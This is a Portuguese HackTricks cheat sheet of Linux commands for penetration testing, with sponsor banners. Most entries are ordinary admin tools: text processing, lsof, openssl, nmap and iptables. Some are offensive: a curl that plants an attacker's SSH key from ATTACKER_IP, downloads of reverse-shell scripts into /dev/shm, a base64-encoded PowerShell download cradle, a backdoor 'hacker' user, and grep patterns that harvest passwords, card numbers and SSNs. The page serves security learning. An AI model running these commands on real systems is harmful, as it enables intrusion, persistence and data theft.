# Comandos Úteis do Linux
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje mesmo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Bash Comum ```bash #Exfiltration using Base64 base64 -w 0 file #Get HexDump without new lines xxd -p boot12.bin | tr -d '\n' #Add public key to authorized keys curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys #Echo without new line and Hex echo -n -e #Count wc -l #Lines wc -c #Chars #Sort sort -nr #Sort by number and then reverse cat file | sort | uniq #Sort and delete duplicates #Replace in file sed -i 's/OLD/NEW/g' path/file #Replace string inside a file #Download in RAM wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py #Files used by network processes lsof #Open files belonging to any process lsof -p 3 #Open files used by the process lsof -i #Files used by networks processes lsof -i 4 #Files used by network IPv4 processes lsof -i 6 #Files used by network IPv6 processes lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234 lsof +D /lib #Processes using files inside the indicated dir lsof -i :80 #Files uses by networks processes fuser -nv tcp 80 #Decompress tar -xvzf /path/to/yourfile.tgz tar -xvjf /path/to/yourfile.tbz bzip2 -d /path/to/yourfile.bz2 tar jxf file.tar.bz2 gunzip /path/to/yourfile.gz unzip file.zip 7z -x file.7z sudo apt-get install xz-utils; unxz file.xz #Add new user useradd -p 'openssl passwd -1 ' hacker #Clipboard xclip -sel c < cat file.txt #HTTP servers python -m SimpleHTTPServer 80 python3 -m http.server ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" php -S $ip:80 #Curl #json data curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint #Auth via JWT curl -X GET -H 'Authorization: Bearer ' http://host:3000/endpoint #Send Email sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content #DD copy hex bin file without first X (28) bytes dd if=file.bin bs=28 skip=1 of=blob #Mount .vhd files (virtual hard drive) sudo apt-get install libguestfs-tools guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd # ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys ssh-keyscan 10.10.10.101 # Openssl openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server openssl x509 -in ca.cert.pem -text #Read certificate openssl genrsa -out newuser.key 2048 #Create new RSA2048 key openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb) openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox) # If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12 # Decrypt ssh key openssl rsa -in key.ssh.enc -out key.ssh #Decrypt openssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz #Count number of instructions executed by a program, need a host based linux (not working in VM) perf stat -x, -e instructions:u "ls" #Find trick for HTB, find files from 2018-12-12 to 2018-12-14 find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null #Reconfigure timezone sudo dpkg-reconfigure tzdata #Search from which package is a binary apt-file search /usr/bin/file #Needed: apt-get install apt-file #Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw #Set not removable bit sudo chattr +i file.txt sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ```
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje mesmo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Bash para Windows ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 #Exe compression upx -9 nc.exe #Exe2bat wine exe2bat.exe nc.exe nc.txt #Compile Windows python exploit to exe pip install pyinstaller wget -O exploit.py http://www.exploit-db.com/download/31853 python pyinstaller.py --onefile exploit.py #Compile for windows #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` ## Greps O comando `grep` é uma ferramenta poderosa para pesquisar padrões em arquivos de texto. Ele permite que você encontre linhas que correspondam a um determinado padrão e exiba-as na saída. Aqui estão alguns exemplos de uso comuns do comando `grep`: - **Pesquisar uma palavra em um arquivo**: Para pesquisar uma palavra específica em um arquivo, use o seguinte comando: ``` grep "palavra" arquivo.txt ``` Isso exibirá todas as linhas que contêm a palavra "palavra" no arquivo "arquivo.txt". - **Pesquisar uma palavra em vários arquivos**: Se você quiser pesquisar uma palavra em vários arquivos, use o seguinte comando: ``` grep "palavra" arquivo1.txt arquivo2.txt arquivo3.txt ``` Isso exibirá todas as linhas que contêm a palavra "palavra" nos arquivos "arquivo1.txt", "arquivo2.txt" e "arquivo3.txt". - **Pesquisar uma palavra em todos os arquivos de um diretório**: Se você quiser pesquisar uma palavra em todos os arquivos de um diretório, use o seguinte comando: ``` grep "palavra" diretório/* ``` Isso exibirá todas as linhas que contêm a palavra "palavra" em todos os arquivos do diretório especificado. - **Pesquisar uma palavra ignorando maiúsculas e minúsculas**: Se você quiser pesquisar uma palavra, mas ignorar diferenças entre maiúsculas e minúsculas, use o seguinte comando: ``` grep -i "palavra" arquivo.txt ``` Isso exibirá todas as linhas que contêm a palavra "palavra", independentemente de estarem em maiúsculas ou minúsculas, no arquivo "arquivo.txt". - **Pesquisar uma palavra com contexto**: Se você quiser exibir não apenas a linha que contém a palavra pesquisada, mas também algumas linhas antes e depois dela, use o seguinte comando: ``` grep -C 2 "palavra" arquivo.txt ``` Isso exibirá a linha que contém a palavra "palavra" e duas linhas antes e depois dela no arquivo "arquivo.txt". Esses são apenas alguns exemplos de como usar o comando `grep`. Ele possui muitas outras opções e recursos que podem ser explorados para realizar pesquisas mais avançadas em arquivos de texto. ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt #Extract valid IP addresses grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt #Extract passwords grep -i "pwd\|passw" file.txt #Extract users grep -i "user\|invalid\|authentication\|login" file.txt # Extract hashes #Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128}) egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt #Extract valid MySQL-Old hashes grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt #Extract blowfish hashes grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt #Extract Joomla hashes egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt #Extract VBulletin hashes egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt #Extraxt phpBB3-MD5 egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt #Extract Wordpress-MD5 egrep -o '$P$S{31}' *.txt > wordpress-md5.txt #Extract Drupal 7 egrep -o '$S$S{52}' *.txt > drupal-7.txt #Extract old Unix-md5 egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt #Extract md5-apr1 egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt #Extract sha512crypt, SHA512(Unix) egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt #Extract e-mails from text files grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt #Extract HTTP URLs from text files grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt #For extracting HTTPS, FTP and other URL format use grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt #Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex" #Extract Floating point numbers grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt # Extract credit card data #Visa grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt #MasterCard grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt #American Express grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt #Diners Club grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt #Discover grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt #JCB grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt #AMEX grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt # Extract IDs #Extract Social Security Number (SSN) grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt #Extract Indiana Driver License Number grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt #Extract US Passport Cards grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt #Extract US Passport Number grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt #Extract US Phone Numberss grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` ## Ajuda de pesquisa do Nmap O Nmap é uma ferramenta de código aberto usada para exploração de rede e auditoria de segurança. Ele fornece uma ampla gama de recursos e opções de pesquisa para ajudar os hackers a identificar hosts, serviços e vulnerabilidades em uma rede. Aqui estão alguns comandos úteis do Nmap que podem ser usados para realizar pesquisas eficazes: - **nmap -sn **: Este comando é usado para fazer uma varredura de ping em um único host ou em uma faixa de endereços IP para verificar se eles estão online. - **nmap -sS **: Este comando realiza uma varredura TCP SYN em um host específico para identificar portas abertas e serviços em execução. - **nmap -sV **: Este comando é usado para detectar a versão do serviço em execução em uma porta específica de um host. - **nmap -p **: Este comando permite especificar portas específicas a serem verificadas em um host. - **nmap -A **: Este comando ativa a detecção de sistema operacional, detecção de versão do serviço, script de varredura e detecção de firewall em um host. - **nmap -O **: Este comando é usado para detectar o sistema operacional em execução em um host. - **nmap -sU **: Este comando realiza uma varredura UDP em um host para identificar portas abertas e serviços em execução. - **nmap -T<0-5> **: Este comando permite ajustar o tempo de execução e a intensidade da varredura, variando de 0 (paranóico) a 5 (insano). Esses comandos são apenas alguns exemplos das muitas opções disponíveis no Nmap. Experimente-os e explore mais recursos para aprimorar suas habilidades de hacking e auditoria de segurança. ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` ## Bash Bash (Bourne Again SHell) é um interpretador de comandos de shell para sistemas operacionais baseados em Unix. É uma das shells mais populares e amplamente utilizadas no Linux. ### Comandos Úteis Aqui estão alguns comandos úteis do Bash que podem ser usados para várias tarefas: - `ls`: lista os arquivos e diretórios no diretório atual. - `cd`: muda o diretório atual. - `pwd`: exibe o diretório de trabalho atual. - `mkdir`: cria um novo diretório. - `rm`: remove arquivos e diretórios. - `cp`: copia arquivos e diretórios. - `mv`: move ou renomeia arquivos e diretórios. - `cat`: exibe o conteúdo de um arquivo. - `grep`: pesquisa por padrões em arquivos. - `chmod`: altera as permissões de acesso de arquivos e diretórios. - `chown`: altera o proprietário de arquivos e diretórios. - `ssh`: inicia uma sessão segura em um servidor remoto. - `wget`: baixa arquivos da web. - `tar`: cria ou extrai arquivos compactados no formato tar. - `find`: pesquisa arquivos e diretórios com base em critérios específicos. - `ps`: exibe os processos em execução. - `top`: exibe informações em tempo real sobre os processos em execução. - `kill`: encerra um processo em execução. - `history`: exibe o histórico de comandos digitados anteriormente. Esses são apenas alguns dos comandos mais comumente usados no Bash. Existem muitos outros comandos disponíveis, cada um com sua própria funcionalidade e opções. ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` ## Iptables O Iptables é uma ferramenta de firewall para sistemas Linux que permite configurar e gerenciar as regras de filtragem de pacotes. Ele é usado para controlar o tráfego de rede, permitindo ou bloqueando pacotes com base em várias condições. ### Comandos úteis do Iptables Aqui estão alguns comandos úteis do Iptables que você pode usar para configurar e gerenciar as regras de firewall: - `iptables -L`: Lista todas as regras de firewall atualmente configuradas. - `iptables -A -p --dport -j `: Adiciona uma nova regra ao final da cadeia especificada. Você precisa substituir `` pelo nome da cadeia, `` pelo protocolo desejado (por exemplo, tcp, udp), `` pela porta desejada e `` pela ação a ser tomada (por exemplo, ACCEPT, DROP). - `iptables -D `: Remove a regra especificada da cadeia especificada. Você precisa substituir `` pelo nome da cadeia e `` pelo número da regra que deseja remover. - `iptables -P `: Define a política padrão para a cadeia especificada. Você precisa substituir `` pelo nome da cadeia e `` pela política desejada (por exemplo, ACCEPT, DROP). - `iptables -F`: Limpa todas as regras de firewall configuradas. - `iptables-save > `: Salva todas as regras de firewall configuradas em um arquivo. - `iptables-restore < `: Restaura as regras de firewall a partir de um arquivo. Esses são apenas alguns dos comandos mais comumente usados do Iptables. Existem muitos outros comandos e opções disponíveis para personalizar e ajustar as regras de firewall de acordo com suas necessidades específicas. ```bash #Delete curent rules and chains iptables --flush iptables --delete-chain #allow loopback iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT #drop ICMP iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP iptables -A OUTPUT -p icmp -j DROP #allow established connections iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT #allow ssh, http, https, dns iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT #default policies iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\ Obtenha acesso hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}